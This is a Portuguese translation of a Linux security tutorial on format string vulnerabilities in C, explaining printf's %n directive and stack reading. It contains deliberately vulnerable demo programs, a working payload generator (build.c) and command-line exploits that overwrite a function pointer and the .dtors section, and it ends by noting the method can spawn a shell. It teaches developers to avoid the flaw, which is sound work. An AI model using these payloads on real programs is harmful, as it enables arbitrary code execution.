Evitando Falhas de Segurança a desenvolver uma aplicação - Parte 4: formatação de strings

ArticleCategory:

Software Development

AuthorImage:

[image of the authors]

TranslationInfo:

Original in fr Frédéric Raynal, Christophe Blaess, Christophe Grenier

fr to en: Frédéric

en to en: Lorne Bailey

en to pt: Bruno Sousa

AboutTheAuthor:

O Christophe Blaess é um engenheiro aeronáutico independente. Ele é um fã do Linux e faz muito do seu trabalho neste sistema. Coordena a tradução das páginas man publicadas no Projecto de Documentação do Linux.

O Christophe Grenier é um estudante no 5º ano na ESIEA, onde, também trabalha como administrador de sistema. Tem uma paixão por segurança de computadores.

O Frederic Raynal tem utilizado o Linux desde há alguns anos porque não polui, não usa hormonas, não usa MSG ou farinha animal ... reclama somente o suor e a astúcia.

Abstract

De há algum tempo para cá que anúncios de mensagens acerca da exploração baseadas na formatação de strings são mais numerosas. Este artigo explica de onde vem o perigo e mostrar-lhe-á que uma tentativa para guardar seis bytes é o suficiente para comprometer a segurança de um programa.

ArticleIllustration:[illustration]

[article illustration]

ArticleBody:[The real article: put the text and html-codes here]

Onde está o perigo ?

Muitas falhas de segurança provém de má configuração ou desleixo. Esta regra permanece verdadeira para a formatação de strings.

É necessário por vezes, utilizar strings terminadas em null num programa. Onde dentro do programa não é importante aqui. Esta vulnerabilidade é, de novo, acerca da escrita directa para a memória. Os dados para o ataque podem vir da stdin, ficheiros, etc. Uma instrução simples é o suficiente:

printf("%s", str);

Contudo, um programador pode decidir em guardar tempo e seis bytes quando só escreve:

printf(str);

Com a "economia" em mente, o programador abre um potencial buraco no seu trabalho. Ele está satisfeito em passar um única string como argumento a qual ele queria, simplesmente, apresentar sem nenhuma modificação. Contudo esta string será dividida em partes para se procurar directivas de formatação (%d, %g...). Quando um caracter de formatação é descoberto, o argumento correspondente é procurado na pilha.

Introduziremos as funções da família printf(). Pelo menos esperamos que toda a gente as conheça ... mas não em detalhe, então lidaremos com os aspectos menos conhecidos destas rotinas. Depois veremos a informação necessária para explorar tal erro. Finalmente veremos como isto se encaixa num simples exemplo.

Aprofundando a formatação de strings

Nesta parte consideraremos a formatação de strings. Começaremos com um recurso acerca do seu uso e descobriremos instruções de formatação pouco conhecidas que revelaram todo o seu mistério.

printf() : disseram-me uma mentira !

Nota para os residentes não Franceses: nós temos no nosso simpático país um ciclista corredor que afirma não se ter dopado enquanto que outros membros da sua equipa o admitiam. Afirmou que se dopou não o sabia. Então um famoso fantoche mostrou o uso da frase Fancesa "on m'aurait menti!" o que me inspirou para este artigo.

Comecemos pelo que todos nós aprendemos nos nossos livros de programação: muitas das funções de entrada/saída do C utilizam a formatação dos dados o que significa que não só providencia os dados para escrita/leitura bem como o modo de ser apresentado. O programa seguinte ilustra isto:

/* display.c */
#include <stdio.h>

main() {
  int i = 64;
  char a = 'a';
  printf("int  : %d %d\n", i, a);
  printf("char : %c %c\n", i, a);
}
Correndo-o, apresenta:
>>gcc display.c -o display
>>./display
int  : 64 97
char : @ a
O primeiro printf() escreve o valor da variável inteira i e a variável caracter a como int (isto é feito usando %d), o que leva a apresentar o valor ASCII. Por outro lado, o segundo printf() converte a variável inteira i para o correspondente código ASCII que é 64.

Nada de novo - tudo conforme as muitas funções com um protótipo semelhante à função printf():

  1. um argumento, na forma de uma string de caracteres(const char *format) é usado para especificar o formato seleccionado;
  2. um ou mais argumentos opcionais, contendo as variáveis nas quais os valores são formatados segundo as indicações dadas na string anterior.

Muitas das nossas lições de programação terminam aqui, providenciando uma lista não exaustiva das possíveis formatações (%g, %h, %x, e o uso do caracter ponto . para a precisão...) Mas, existe um outro nunca falado: %n. Eis o que diz a página do manual do printf acerca dele:

O número de caracteres escritos até então é guardado num indicador int * (ou variante) num argumento de ponteiro. Nenhum argumento é convertido.

Eis aqui a coisa mais importante deste artigo: este argumento torna possível a escrita numa variável do tipo ponteiro , mesmo quando é usado numa função de apresentação !

Antes de continuarmos, deixem-nos dizer que esta formatação também existe para as funções da família scanf() e syslog().

Tempo de Jogar

Vamos estudar o uso e o comportamento desta formatação através de pequenos programas. O primeiro, printf1, mostra um simples uso:

/* printf1.c */
1: #include <stdio.h>
2: 
3: main() {
4:   char *buf = "0123456789";
5:   int n;
6:   
7:   printf("%s%n\n", buf, &n);
8:   printf("n = %d\n", n);
9: }

A primeira chamada do printf() apresenta a string "0123456789" que contém 10 caracteres. A próxima formatação %n escreve o valor da variável n:

>>gcc printf1.c -o printf1
>>./printf1 
0123456789
n = 10
Transformemos, ligeiramente, o nosso programa substituindo a instrução printf() da linha 7 pela seguinte:
7:   printf("buf=%s%n\n", buf, &n);

Correndo este novo programa, confirma a nossa ideia: a variável n é agora 14, (10 caracteres da variável string buf mais os 4 caracteres da string constante "buf=", contida na string de formatação).

Então, sabemos que a formatação %n conta cada caracter que aparece na string de formatação. Mais adiante, como demonstraremos com o programa printf2, conta ainda mais:

/* printf2.c */

#include <stdio.h>

main() {
  char buf[10];
  int n, x = 0;
  
  snprintf(buf, sizeof buf, "%.100d%n", x, &n);
  printf("l = %d\n", strlen(buf));
  printf("n = %d\n", n);
}
O uso da função snprintf() é para prevenir de um buffer overflow. A variável n devia ser 10:
>>gcc printf2.c -o printf2
>>./printf2
l = 9
n = 100
Estranho ? De facto, a formatação %n considera a quantidade de caracteres que devem ter sido escritos. Este exemplo que a truncagem tendo em conta o tamanho é ignorada.

O que é que realmente acontece ? A string de formatação é estendida completamente antes de ser cortada e depois copiada para o buffer de destino:

/* printf3.c */

#include <stdio.h>

main() {
  char buf[5];
  int n, x = 1234;

  snprintf(buf, sizeof buf, "%.5d%n", x, &n);
  printf("l = %d\n", strlen(buf));
  printf("n = %d\n", n);
  printf("buf = [%s] (%d)\n", buf, sizeof buf);
}
O printf3 contém algumas diferenças comparativamente ao printf2: Obtemos a seguinte apresentação:
>>gcc printf3.c -o printf3
>>./printf3
l = 4
n = 5
buf = [0123] (5)
As duas primeiras linhas não são nenhuma surpresa. A última ilustra o comportamento da função printf() :
  1. A string é substituída, segundo os comandos 1 que contém, o que providência a string "00000\0";
  2. As variáveis são escritas onde e como deviam, o que é ilustrado pela cópia do x no nosso exemplo. Depois a string é algo parecido com "01234\0";
  3. Por último, sizeof buf - 1 bytes2 a partir desta string é copiado na string de destino buf, o que nos dá "0123\0"
Isto não é perfeitamente assim mas reflecte o processo geral. Para mais detalhes, o leitor deve referir-se aos sources da GlibC, em particular a vfprintf() no directório ${GLIBC_HOME}/stdio-common.

Antes de terminarmos esta parte, adicionemos que é possível de obter os mesmos resultados escrevendo a string de formatação de um modo ligeiramente diferente. Previamente, utilizámos a precisão (o ponto '.'). Uma outra combinação de instruções de formatação conduz-nos a um resultado idêntico: 0n, onde o n é o número do comprimento , e o 0 significa que os espaços devem ser trocados por 0 no caso de todo o comprimento não ser preenchido.

Agora que sabe tudo acerca da formatação de strings, e muito especialmente acerca da formatação %n, estudaremos os seus comportamentos.

A pilha e o printf()

Andando através da pilha

O próximo programa guiár-nos-à em toda esta secção para compreendermos como o printf() e a pilha se relacionam:

/* stack.c */
 1: #include <stdio.h>
 2: 
 3: int
 4  main(int argc, char **argv)
 5: {
 6:   int i = 1;
 7:   char buffer[64];
 8:   char tmp[] = "\x01\x02\x03";
 9:
10:   snprintf(buffer, sizeof buffer, argv[1]);
11:   buffer[sizeof (buffer) - 1] = 0;
12:   printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
13:   printf ("i = %d (%p)\n", i, &i);
14: }
Este Programa só copia um argumento para o vector de caracteres do buffer. Tomaremos cuidado para não escrevermos por cima de alguns dados importantes ( a formatação de strings são, realmente, mais correctas que os excedimentos de buffer ;-)
>>gcc stack.c -o stack
>>./stack toto
buffer : [toto] (4)
i = 1 (bffff674)
Trabalha como esperávamos :) Antes de avançarmos examinemos o que acontece do ponto de vista da pilha ao chamar o snprintf() na linha 8.
Fig. 1 : A pilha no inicio do snprintf()
snprintf()

A Figura 1 descreve os estado da pilha quando o programa entra na função snprintf() (veremos que isto não é verdade ... mas isto é só para lhe dar uma ideia do que está a acontecer). Não nos importámos com o registo %esp. Está algures abaixo do registo %ebp. Como vimos num artigo anterior, os dois primeiros sectores localizados no %ebp e %ebp+4 contêm as respectivas salvaguardas dos registos %ebp and %ebp+4. Seguindo-se os argumentos da função snprintf():

  1. Endereço de destino;
  2. O número de caracteres a serem copiados;
  3. o endereço da string de formatação argv[1] que também se comporta como dado.
Por último, a pilha é preenchida até cima com o vector tmp de 4 caracteres , com os 64 bytes da variável buffer e a variável inteira;

A string argv[1] é usada ao mesmo tempo como string de formatação e de dados. Segundo a ordem normal da rotina snprintf() o, argv[1] aparece em vez da string de formatação. Visto que pode utilizar a string de formatação sem directivas de formatação (só texto), está tudo bem :)

O que é que acontece quando argv[1] contém também dados de formatação ? ? Normalmente, snprintf() interpreta-as como estão ... e não existe nenhuma razão para agir de outro modo ! Mas aqui, pode querer saber quais os argumentos que vão ser usados para a formatação das strings de resultado. De facto o snprintf() extrai os dados da pilha ! Pode ver isto a partir do nosso programa stack:

>>./stack "123 %x"
buffer : [123 30201] (9)
i = 1 (bffff674)

Primeiro, a string "123 " é copiada para o buffer. O %x pede ao snprintf() para traduzir o seu primeiro valor para hexadecimal. Na figura 1, o primeiro argumento não é mais do que a variável tmp que contém a string \x01\x02\x03\x00. É apresentado como sendo o número hexadecimal 0x00030201 segundo o nosso processador little endian.

>>./stack "123 %x %x"
buffer : [123 30201 20333231] (18)
i = 1 (bffff674)

Adicionando uma segunda variável %x permite-lhe subir na pilha. Dia ao snprintf() para procurar pelos próximos 4 bytes após a variável tmp. Estes 4 bytes são de facto os primeiros 4 bytes do buffer. Contudo, o buffer contém a string "123 ", a qual pode ser vista como o número hexadecimal 0x20333231 (0x20=space, 0x31='1'...). Então, para cada %x, o snprintf() "salta" 4 bytes para além do buffer ( 4 porque o unsigned int só ocupa 4 bytes no processador x86). Esta variável actua como agente duplo, pois:

  1. Escrevendo no destino;
  2. lendo dados de entrada a partir da formatação.
Podemos "percorrer" a pilha desde que o nosso pequeno buffer contenha bytes:
>>./stack "%#010x %#010x %#010x %#010x %#010x %#010x"
buffer : [0x00030201 0x30307830 0x32303330 0x30203130 0x33303378 
         0x333837] (63)
i = 1 (bffff654)

Mesmo Mais alto

O método anterior permitiu-nos ver informação tal como o endereço de retorno da função que criou a pilha contendo o buffer. Contudo é possível, com a correcta formatação, ver para além do buffer vulnerável.

Pode, ocasionalmente, encontrar um formato útil quando é necessário trocar entre os parâmetros (por exemplo, ao apresentar a data e o tempo). Adicionámos o formato m$, logo após o %, onde o m é um inteiro >0. Isto dá a posição da variável para utilizar uma lista de argumentos (começando por 1):

/* explore.c */
#include <stdio.h>

  int
main(int argc, char **argv) {

  char buf[12];

  memset(buf, 0, 12);
  snprintf(buf, 12, argv[1]);

  printf("[%s] (%d)\n", buf, strlen(buf));
}

O formato utilizando m$ permite-nos ir até onde queremos na pilha, como o podíamos fazer com o gdb:

>>./explore %1\$x
[0] (1)
>>./explore %2\$x
[0] (1)
>>./explore %3\$x
[0] (1)
>>./explore %4\$x
[bffff698] (8)
>>./explore %5\$x
[1429cb] (6)
>>./explore %6\$x
[2] (1)
>>./explore %7\$x
[bffff6c4] (8)

O caracter \ é necessário aqui para proteger o $ e para prevenir a shell do interpretar. Nas três primeiras chamadas visitámos o conteúdo da variável buf. Com %4\$x, obtemos o registo guardado %ebp, e com o próximo %5\$x, o registo guardado %eip (também conhecido como endereço de retorno). Os 2 resultados apresentados aqui, mostram o valor da variável argc e o endereço contido em *argv (lembre-se que **argv quer dizer que *argv é um vector de endereços).

Em breve ...

Este exemplo ilustra que os formatos fornecidos permitem-nos percorrer a pilha à procura de informação, como o endereço de retorno de uma função, um endereço ... Contudo vimos que no princípio deste artigo podíamos escrever usando funções do tipo printf(): não vos parece isto uma potencial e maravilhosa vulnerabilidade ?

Primeiros Passos

Voltemos ao programa stack:

>>perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"'
buffer : [döÿ¿000000000000000000000000000000000000000000000000
00000000000] (63)
i = 500 (bffff664)
	
Damos como string de entrada:
  1. o endereço da variável i;
  2. uma instrução de formatação (%.496x);
  3. uma segunda instrução de formatação (%n) que escreverá para dentro do endereço dado.
Para determinar o endereço da variável i (aqui 0xbffff664), podemos correr o programa uma segunda vez e alterar a linha de comandos, respectivamente. Como pode notar, aqui o i tem um novo valor :) A string de formatação dada e a organização da pilha fazem o snprintf() parecer-se algo como:
snprintf(buffer,
         sizeof buffer,
         "\x64\xf6\xff\xbf%.496x%n",
         tmp,
         4 primeiros bytes no buffer);

Os primeiros quatro bytes (contendo o endereço i) são escritos no princípio do buffer. O formato %.496x permite-nos livrar-nos da variável tmp que está no principio da pilha. Depois quando a instrução de formatação é o %n, o endereço utilizado é o de i, no principio do buffer. Apesar da precisão requerida ser 496, o snprintf escreve no máximo sessenta bytes (porque o tamanho do buffer 'e 64 e 4 bytes já foram escritos). O valor 496 é arbitrário e é somente utilizado para o "contador de bytes". Vimos que o formato %n guarda o número de bytes que deviam ser escritos. Este valor é 496, ao qual adicionámos 4 a partir dos 4 bytes do endereço i no principio do buffer. Assim contámos 500 bytes. Este valor será escrito no próximo endereço da pilha, que é o endereço do i.

Podemos ainda avançar neste exemplo. Para alterar o i, precisávamos de saber o seu endereço ... mas por vezes o próprio programa fornece-o:

/* swap.c */
#include <stdio.h>

main(int argc, char **argv) {

  int cpt1 = 0;
  int cpt2 = 0;
  int addr_cpt1 = &cpt1;
  int addr_cpt2 = &cpt2;

  printf(argv[1]);
  printf("\ncpt1 = %d\n", cpt1);
  printf("cpt2 = %d\n", cpt2);
}

Correndo este programa, mostra-se que podemos controlar a pilha (quase) praticamente como queremos:

>>./swap AAAA
AAAA
cpt1 = 0
cpt2 = 0
>>./swap AAAA%1\$n
AAAA
cpt1 = 0
cpt2 = 4
>>./swap AAAA%2\$n
AAAA
cpt1 = 4
cpt2 = 0

Como pode var, dependendo do argumento, podemos alterar quer o cpt1, quer o cpt2. O formato %n espera um endereço, eis o porquê de não podermos agir directamente nas variáveis (por exemplo usando %3$n (cpt2) ou %4$n (cpt1) ) mas tem de ser directamente através de ponteiros. Os últimos são "carne fresca" com enormes possibilidades para modificação.

Variações no mesmo tópico

Os exemplos previamente apresentados provém de um programa compilado com o egcs-2.91.66 e o glibc-2.1.3-22. Contudo, você provavelmente não obterá os mesmos resultados na sua própria experiência. Além disso as funções do tipo *printf() alteram-se consoante a glibc e os compiladores não reagem da mesma maneira para operações idênticas.

O programa stuff apresenta estas diferenças:

/* stuff.c */
#include <stdio.h>

main(int argc, char **argv) {
  
  char aaa[] = "AAA";
  char buffer[64];
  char bbb[] = "BBB";

  if (argc < 2) {
    printf("Usage : %s <format>\n",argv[0]);
    exit (-1);
  }

  memset(buffer, 0, sizeof buffer);
  snprintf(buffer, sizeof buffer, argv[1]);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));
}

O vector aaa e bbb são usados como delimitadores na nossa jornada através da pilha. Assim sendo, sabemos que quando encontramos 424242, os bytes seguintes alteram-se no buffer. A Tabela 1 apresenta as diferenças segundo as versões da glibc e os compiladores.

Tab. 1 : Variações à volta da glibc    
Compilador
glibc
Apresentação
gcc-2.95.3 2.1.3-16 buffer = [8048178 8049618 804828e 133ca0 bffff454 424242 38343038 2038373] (63)
egcs-2.91.66 2.1.3-22 buffer = [424242 32343234 33203234 33343332 20343332 30323333 34333233 33] (63)
gcc-2.96 2.1.92-14 buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63)
gcc-2.96 2.2-12 buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63)

A seguir neste artigo, continuaremos a utilizar o egcs-2.91.66 e a glibc-2.1.3-22, mas não se admire de notar algumas diferenças na sua máquina.

Explorando o bug da formatação

Enquanto explorando o excedimento do buffer (overflow), utilizámos um buffer para escrever por cima do endereço de retorno de uma função.

Com a formatação de strings, vimos que podemos ir a todo o lado (pilha, heap, bss, .dtors, ...), só temos de dizer onde e o que escrever para o %n fazer o trabalho por nós.

O programa vulnerável

Pode explorar o bug de formatação de modos diferentes. O artigo de P. Bouchareine's article (vulnerabilidade da formatação de strings) mostra como escrever por cima do endereço de retorno de uma função, então nós mostraremos algo mais.
/* vuln.c */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int helloWorld();
int accessForbidden();

int vuln(const char *format)
{
  char buffer[128];
  int (*ptrf)();

  memset(buffer, 0, sizeof(buffer));

  printf("helloWorld() = %p\n", helloWorld);
  printf("accessForbidden() = %p\n\n", accessForbidden);

  ptrf = helloWorld;
  printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);
  
  snprintf(buffer, sizeof buffer, format);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));

  printf("after : ptrf() = %p (%p)\n", ptrf, &ptrf);

  return ptrf();
}

int main(int argc, char **argv) {
  int i;
  if (argc <= 1) {
    fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
    exit(-1);
  }
  for(i=0;i<argc;i++)
    printf("%d %p\n",i,argv[i]);
  
  exit(vuln(argv[1]));
}

int helloWorld()
{
  printf("Welcome in \"helloWorld\"\n");
  fflush(stdout);
  return 0;
}

int accessForbidden()
{
  printf("You shouldn't be here \"accesForbidden\"\n");
  fflush(stdout);
  return 0;
}

Nós definimos uma variável chamada ptrf que é um ponteiro para a função. Alteraremos o valor deste ponteiro para correr a função que escolhemos.

Primeiro Exemplo

Primeiro, temos de obter a diferença entre o principio do buffer vulnerável e a nossa posição corrente na pilha:

>>./vuln "AAAA %x %x %x %x"
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37)
after : ptrf() = 0x8048634 (0xbffff5d4)
Welcome in "helloWorld"

>>./vuln AAAA%3\$x
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5e4)
buffer = [AAAA41414141] (12)
after : ptrf() = 0x8048634 (0xbffff5e4)
Welcome in "helloWorld"

A primeira chamada aqui dá-nos o que precisamos: 3 palavras (uma palavra = 4 bytes para processadores x86) separa-nos do inicio da variável buffer. A segunda chamada com AAAA%3\$x como argumento, confirma isto.

O nosso objectivo é agora substituir o valor inicial do ponteiro ptrf (0x8048634, o endereço da função helloWorld()) com o valor 0x8048654 (endereço da accessForbidden()). Temos de escrever 0x8048654 bytes (134514260 bytes em decimal, algo como 128Mbytes). Nem todos os computadores podem usufruir de tal memória ... mas o que estamos a usar é capaz :) Demora cerca de 20 segundos num pentium duplo a 350 Mhz:

>>./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n `
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [Ôõÿ¿000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000
0000000000000] (127)
after : ptrf() = 0x8048654 (0xbffff5d4)
You shouldn't be here "accesForbidden"

O que é que nós fizemos? Demos somente o endereço de ptrf (0xbffff5d4). A próxima formatação (%.134514256x) lê as primeiras palavras a partir da pilha com uma precisão de 134514256 (já tínhamos escrito 4 bytes a partir do endereço de ptrf, então ainda temos de escrever 134514260-4=134514256 bytes). por último escrevemos o valor pretendido no endereço dado (%3$n).

Problemas de memória: dividir e conquistar

Contudo, como o mencionámos, nem sempre é possível utilizar 128 MG em buffers. O formato %n espera um ponteiro para um inteiro, ou seja quatro bytes. É possível alterar o seu comportamento fazendo-o apontar para um short int - só 2 bytes - graças à instrução %hn. Então cortamos o inteiro no qual queremos escrever em duas partes. A parte de escrita maior caberá em 0xffff bytes (65535 bytes). Então no exemplo anterior, transformamos a operação de escrita "0x8048654 no endereço 0xbffff5d4" em duas operações sucessivas: :

A segunda operação de escrita toma lugar nos bytes mais altos do inteiro o que explica o swap dos 2 bytes.

Contudo, %n (ou %hn) conta o número de caracteres escritos para a string. Este número só pode aumentar. Primeiro, temos de escrever o valor ,mais pequeno entre os dois. Depois, a segunda formatação só usará a diferença entre os números necessários e o primeiro número escrito com precisão. Por exemplo, no nosso exemplo, a primeira operação de formatação será de %.2052x (2052 = 0x0804) e a segunda %.32336x (32336 = 0x8654 - 0x0804). Cada %hn colocado logo após a direita gravará a correcta quantidade de bytes.

Só temos de especificar onde escrever ambos %hn. O operador m$ ajudar-nos imenso. Se guardarmos o endereço de inicio do buffer vulnerável, só temos de subir pela pilha para encontrar a distância entre o inicio do buffer e o formato m$. Então, ambos os endereços estarão a um comprimento de m e m+1. Como usamos os primeiros 8 bytes para guardar os endereços para rescrita, o primeiro valor escrito deve ser decrementado por 8.

A nossa string de formatação é algo parecido com:

"[addr][addr+2]%.[val. min. - 8]x%[offset]$hn%.[val. max - val. min.]x%[offset+1]$hn"

O programa build utiliza três argumentos para criar uma string de formatação:

  1. o endereço de rescrita;
  2. o valor para aí escrever;
  3. o comprimento (contado como palavras) desde o inicio do buffer vulnerável.
/* build.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

/**
   The 4 bytes where we have to write are placed that way :
   HH HH LL LL
   The variables ending with "*h" refer to the high part
   of the word (H) The variables ending with "*l" refer
   to the low part of the word (L)
 */
char* build(unsigned int addr, unsigned int value, 
      unsigned int where) {

  /* too lazy to evaluate the true length ... :*/
  unsigned int length = 128; 
  unsigned int valh;
  unsigned int vall;
  unsigned char b0 = (addr >> 24) & 0xff;
  unsigned char b1 = (addr >> 16) & 0xff;
  unsigned char b2 = (addr >>  8) & 0xff;
  unsigned char b3 = (addr      ) & 0xff;

  char *buf;

  /* detailing the value */
  valh = (value >> 16) & 0xffff; //top
  vall = value & 0xffff;         //bottom

  fprintf(stderr, "adr : %d (%x)\n", addr, addr);
  fprintf(stderr, "val : %d (%x)\n", value, value);
  fprintf(stderr, "valh: %d (%.4x)\n", valh, valh);
  fprintf(stderr, "vall: %d (%.4x)\n", vall, vall);

  /* buffer allocation */
  if ( ! (buf = (char *)malloc(length*sizeof(char))) ) {
    fprintf(stderr, "Can't allocate buffer (%d)\n", length);
    exit(EXIT_FAILURE);
  }
  memset(buf, 0, length);

  /* let's build */
  if (valh < vall) {

    snprintf(buf,
         length,
         "%c%c%c%c"           /* high address */
         "%c%c%c%c"           /* low address */

         "%%.%hdx"            /* set the value for the first %hn */
         "%%%d$hn"            /* the %hn for the high part */

         "%%.%hdx"            /* set the value for the second %hn */
         "%%%d$hn"            /* the %hn for the low part */         
         ,
         b3+2, b2, b1, b0,    /* high address */
         b3, b2, b1, b0,      /* low address */

         valh-8,              /* set the value for the first %hn */  
         where,               /* the %hn for the high part */        
                                                         
         vall-valh,           /* set the value for the second %hn */ 
         where+1              /* the %hn for the low part */               
         );
         
  } else {

     snprintf(buf,
         length,
         "%c%c%c%c"           /* high address */
         "%c%c%c%c"           /* low address */

         "%%.%hdx"            /* set the value for the first %hn */    
         "%%%d$hn"            /* the %hn for the high part */          
                                                           
         "%%.%hdx"            /* set the value for the second %hn */   
         "%%%d$hn"            /* the %hn for the low part */           
         ,                                                     
         b3+2, b2, b1, b0,    /* high address */                       
         b3, b2, b1, b0,      /* low address */                        
                                                           
         vall-8,              /* set the value for the first %hn */    
         where+1,             /* the %hn for the high part */          
                                                           
         valh-vall,           /* set the value for the second %hn */   
         where                /* the %hn for the low part */
         );
  }
  return buf;
}

int
main(int argc, char **argv) {

  char *buf;

  if (argc < 3)
    return EXIT_FAILURE;
  buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
          strtoul(argv[2], NULL, 16),  /* valeur */
          atoi(argv[3]));              /* offset */
  
  fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
  printf("%s",  buf);
  return EXIT_SUCCESS;
}

A posição dos argumentos altera-se consoante se o primeiro valor a ser escrito é a parte mais alta ou baixa da palavra. Verifiquemos o que obtemos agora, sem quaisquer problemas de memória.

Primeiro, o nosso simples exemplo, permite-nos advinhar o comprimento:

>>./vuln AAAA%3\$x
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5d4)
buffer = [AAAA41414141] (12)
after : ptrf() = 0x8048644 (0xbffff5d4)
Welcome in "helloWorld"

É sempre o mesmo: 3. Visto que o nosso programa é feito para explorar o que acontece, nós já temos toda a outra informação que precisamos: Os endereços ptrf e accesForbidden(). Construímos o nosso buffer segundo isto:

>>./vuln `./build 0xbffff5d4 0x8048664 3` 
adr : -1073744428 (bffff5d4)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[Öõÿ¿Ôõÿ¿%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5b4)
buffer = [Öõÿ¿Ôõÿ¿00000000000000000000d000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000
00000000] (127)
after : ptrf() = 0x8048644 (0xbffff5b4)
Welcome in "helloWorld"

Nada acontece ! De facto, vimos que usámos um buffer grande no exemplo anterior da formatação da string, a pilha alterou-se. O ptrf foi de 0xbffff5d4 para 0xbffff5b4). Os nossos valores precisam de ser ajustados:
>>./vuln `./build 0xbffff5b4 0x8048664 3`
adr : -1073744460 (bffff5b4)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[¶õÿ¿´õÿ¿%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5b4)
buffer = [¶õÿ¿´õÿ¿0000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
0000000000000000] (127)
after : ptrf() = 0x8048664 (0xbffff5b4)
You shouldn't be here "accesForbidden"

Ganhámos!!!

Outras Explorações

Neste artigo, começamos por provar que os bugs de formatação são uma vulnerabilidade real. Uma outra preocupação é como explorá-los. A exploração do excedimento do buffer (overflow) assenta na escrita do endereço de retorno de uma função. Depois tem de tentar à sorte e rezar imenso para que as suas scripts encontrem os valores correctos (mesmo que a eggshell esteja preenchida de NOP's). Não precisa disto tudo para os bugs de formatação e não fica mais restringido à sobreposição do endereço de retorno.

Vimos que os bugs de formatação permitem-nos escrever em qualquer lado. Então, veremos agora uma explicação baseada na secção .dtors

Quando um programa é compilado com o gcc, pode encontrar uma secção de construção (chamada .ctors) e um destrutor (chamado .dtors). Cada uma destas secções contêm ponteiros para as funções a serem carregadas antes de função main() e depois sair, respectivamente.

/* cdtors */

void start(void) __attribute__ ((constructor));
void end(void) __attribute__ ((destructor));

int main() {
  printf("in main()\n");
}

void start(void) {
  printf("in start()\n");
}

void end(void) {
  printf("in end()\n");
}
O nosso programa mostra esse mecanismo:
>>gcc cdtors.c -o cdtors
>>./cdtors
in start()
in main()
in end()
Cada uma destas secções é construída do mesmo modo:
>>objdump -s -j .ctors cdtors

cdtors:     file format elf32-i386

Contents of section .ctors:
 804949c ffffffff dc830408 00000000           ............    
>>objdump -s -j .dtors cdtors

cdtors:     file format elf32-i386

Contents of section .dtors:
 80494a8 ffffffff f0830408 00000000           ............    
Verificamos que os endereços indicados são iguais aos nossas funções (atenção: o comando precedente objdump dá-nos os endereços no formato little endian):
>>objdump -t cdtors | egrep "start|end"
080483dc g     F .text  00000012              start
080483f0 g     F .text  00000012              end
Então, estas secções contêm os endereços das funções que correm no principio (ou no fim), "encaixados" com 0xffffffff e 0x00000000.

Apliquemos isto ao vuln usando a formatação de string. Primeiro temos de ter a localização na memória destas secções o que é realmente fácil quando temos o binário à mão ;-) Utilize simplesmente o objdump como fizemos previamente:

>> objdump -s -j .dtors vuln

vuln:     file format elf32-i386

Contents of section .dtors:
 8049844 ffffffff 00000000                    ........        
Aqui está ! Temos tudo o que precisamos agora.

O objectivo da exploração é substituir o endereço de uma função destas secções pelo de uma função que queremos executar. Se as secções estão vazias, só se tem de sobrepor o endereço 0x00000000 que indica o fim da secção. Isto dará uma segmentation fault pois o programa não encontrará este endereço 0x00000000, e tomará como próximo valor o endereço de uma função o que provavelmente não é verdade.

De facto, a única secção de interesse é a secção do destrutor (.dtors): não temos tempo de fazer alguma coisa antes da secção do construtor (.ctors). Geralmente, é suficiente sobrepor o endereço em 4 bytes após o inicio da secção (o 0xffffffff):

Voltemos ao nosso exemplo. Substituímos o 0x00000000 na secção .dtors, residente em 0x8049848=0x8049844+4, com o endereço da função accesForbidden(), já conhecido (0x8048664):

>./vuln `./build 0x8049848 0x8048664 3`
adr : 134518856 (8049848)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[JH%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = bffff694 (0xbffff51c)
helloWorld() = 0x8048648
accessForbidden() = 0x8048664

before : ptrf() = 0x8048648 (0xbffff434)
buffer = [JH0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000] (127)
after : ptrf() = 0x8048648 (0xbffff434)
Welcome in "helloWorld"
You shouldn't be here "accesForbidden"
Segmentation fault (core dumped)

Tudo corre bem, o main(), o helloWorld() e depois sai. O destrutor é logo chamado. A secção .dtors é iniciada com o endereço de accesForbidden(). Depois visto que não existe num endereço real de uma função, o esperado coredump ("cadáver") acontece.

Por favor, Dêem-me a linha de comandos

Vimos pequenas explorações aqui. Usando o mesmo principio, podemos obter uma linha de comandos, quer passando o código da shell através do argv[] ou através de uma variável de ambiente ao programa vulnerável. Só temos de definir o endereço correcto (por exemplo: o endereço da eggshell) na secção .dtors.

Até agora, sabemos:

